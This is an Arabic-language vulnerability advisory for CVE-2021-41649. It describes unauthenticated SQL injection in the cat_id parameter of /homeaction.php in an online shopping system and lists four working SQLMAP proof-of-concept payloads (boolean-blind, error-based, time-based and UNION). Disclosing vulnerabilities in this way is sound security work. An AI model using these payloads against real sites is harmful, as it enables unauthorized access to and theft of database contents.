CVE-2021-41649

حقن SQL في online-shopping-system

نظام online-shopping-system عرضة لهجمات حقن SQL غير مصادق عليها من نوع الخطأ/الأعمى القائم على القيم المنطقية (boolean-based blind) وهجمات حقن SQL المستندة إلى الأخطاء.

لا تقوم معلمة cat_id في صفحة /homeaction.php بتعقيم إدخال المستخدم، وبالتالي يمكن للمهاجم استخراج بيانات حساسة من قاعدة بيانات MySQL الأساسية.

رابط التطبيق

online-shopping-system

المكونات والمعلمة المتأثرة

الرابط: /homeaction.php
المعلمة: cat_id

إثباتات المفهوم

حمولات SQLMAP

معلمة cat_id في صفحة /homeaction.php

المعلمة: cat_id (طلب POST) النوع: أعمى قائم على القيم المنطقية (boolean-based blind) العنوان: AND boolean-based blind - جملة WHERE أو HAVING الحمولة: cat_id=4' AND 9760=9760 AND 'ZCfc'='ZCfc&get_seleted_Category=1

النوع: مستند إلى الخطأ (error-based) العنوان: MySQL >= 5.0 AND مستند إلى الخطأ - جملة WHERE أو HAVING أو ORDER BY أو GROUP BY (FLOOR) الحمولة: cat_id=4' AND (SELECT 4034 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4034=4034,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sGIO'='sGIO&get_seleted_Category=1

النوع: أعمى قائم على الوقت (time-based blind) العنوان: MySQL >= 5.0.12 AND أعمى قائم على الوقت (استعلام SLEEP) الحمولة: cat_id=4' AND (SELECT 9762 FROM (SELECT(SLEEP(5)))PAcf) AND 'hpHO'='hpHO&get_seleted_Category=1

النوع: استعلام UNION العنوان: استعلام UNION عام (NULL) - 10 أعمدة الحمولة: cat_id=4' UNION ALL SELECT CONCAT(0x71707a7171,0x746e4d4b5a706566596771585179566943487446575673515244507a52507345694d6b5a754d7049,0x71787a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&get_seleted_Category=1

إذا كانت صورة إثبات المفهوم غير واضحة، يرجى النقر على ملف GIF ليتم تحميله بدقة أفضل.

اكتُشف بواسطة

Jason Colyvas
MOBIUSBINARY
21 سبتمبر 2021